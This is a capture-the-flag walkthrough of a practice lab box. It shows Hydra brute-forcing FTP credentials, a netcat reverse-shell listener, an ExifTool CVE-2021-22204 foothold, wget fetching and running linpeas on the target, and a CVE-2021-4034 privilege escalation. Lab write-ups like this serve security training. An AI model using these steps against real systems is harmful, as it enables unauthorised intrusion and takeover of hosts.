This is my first walkthrough posted on this site. While this box was labeled as 'Easy' by OffSec, I ran into several challenges along the way. As a result, I resorted to peeking at two walkthroughs at several times during the assessment. Shoutout to the following two walkthroughs for pointing me in the right direction:
I began by running an nmap scan to identify open ports:
# Nmap 7.94 scan initiated Fri Dec 1 10:19:25 2023 as: nmap -sC -sV -oA nmap/initial -vv exghost.pg
Nmap scan report for exghost.pg (192.168.162.183)
Host is up, received echo-reply ttl 61 (0.041s latency).
Scanned at 2023-12-01 10:19:25 CST for 16s
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
20/tcp closed ftp-data reset ttl 61
21/tcp open ftp syn-ack ttl 61 vsftpd 3.0.3
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.41
|_http-title: 403 Forbidden
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: 127.0.0.1; OS: Unix
I also ran a full TCP and UDP port scan, but these did not yield any additional results.
VSFTPD 3.0.3 and Apache 2.4.41 were found to be running on the host. This version of VSFTPD is vulnerable to Denial-of-Service, which did not seem useful for this lab. While this version of Apache has two CVEs assigned to it which result in code execution, the exploit requires a non-default configuration, and this instance was not found to be vulnerable to the exploit:
I enumerated HTTP using Gobuster and found that most results were giving HTTP 403 'Forbidden' response codes, indicating that I was not authorized to view the pages. However, this did indicate the existence of an uploads directory:
I repeated my Gobuster scan on the uploads directory, but did not have any results without the HTTP 403 response code.
Turning my attention to the FTP service, I noticed that anonymous login was not allowed. While a previous version of VSFTPD was known to have default credentials, those credentials were not valid for this instance. In previous boxes I have worked through, if brute forcing is required, enumeration typically reveals a username that can be used. However, in this case, brute forcing of both the username and password combination were required:
┌──(joe㉿kali)-[~]
└─$ hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://exghost.pg
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-02 10:17:32
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries, ~5 tries per task
[DATA] attacking ftp://exghost.pg:21/
[21][ftp] host: exghost.pg login: user password: system
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-02 10:17:48
I was then able to connect to the FTP service and download a file named backup:
┌──(joe㉿kali)-[~]
└─$ ftp user@exghost.pg
Connected to exghost.pg.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||12485|)
^C
receive aborted. Waiting for remote to finish abort.
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rwxrwxrwx 1 0 0 126151 Jan 27 2022 backup
226 Directory send OK.
ftp> get backup
local: backup remote: backup
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for backup (126151 bytes).
100% |******************************************************************| 123 KiB 805.28 KiB/s 00:00 ETA
226 Transfer complete.
126151 bytes received in 00:00 (604.46 KiB/s)
Reviewing the backup file, it was found to be a packet capture. Within this packet capture was a POST request to /exiftest.php uploading a file as form data:
Additionally, the response to this POST request indicated that version 12.23 of ExifTool was in use:
This version of ExifTool was vulnerable to CVE-2021-22204, which allows for arbitrary code execution when parsing a malicious image that uses the DjVu file format. I found an exploit on Exploit-DB which can create an image that will create a reverse shell connection when parsed:
I started a netcat listener on port 9001, and was then able to use the following curl command to submit the malicious image as form data in a POST request:
After submitting the image, I caught a reverse shell on my netcat listener:
┌──(joe㉿kali)-[~/hax/pg/exghost]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.245] from (UNKNOWN) [192.168.193.183] 48540
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ pwd
/var/www/html
Privilege Escalation
After gaining an initial foothold as the www-data user, I moved into the /tmp directory to run linpeas:
$ cd /tmp
$ wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
$ sh linpeas.sh | tee linpeas-output.txt
The linpeas output revealed that this host is vulnerable to CVE-2021-4034:
However, there was not a C compiler installed on the host. Before I attempted to compile an exploit off-box, I looked for alternatives and found an exploit written in python3. Executing this exploit resulted in root access!
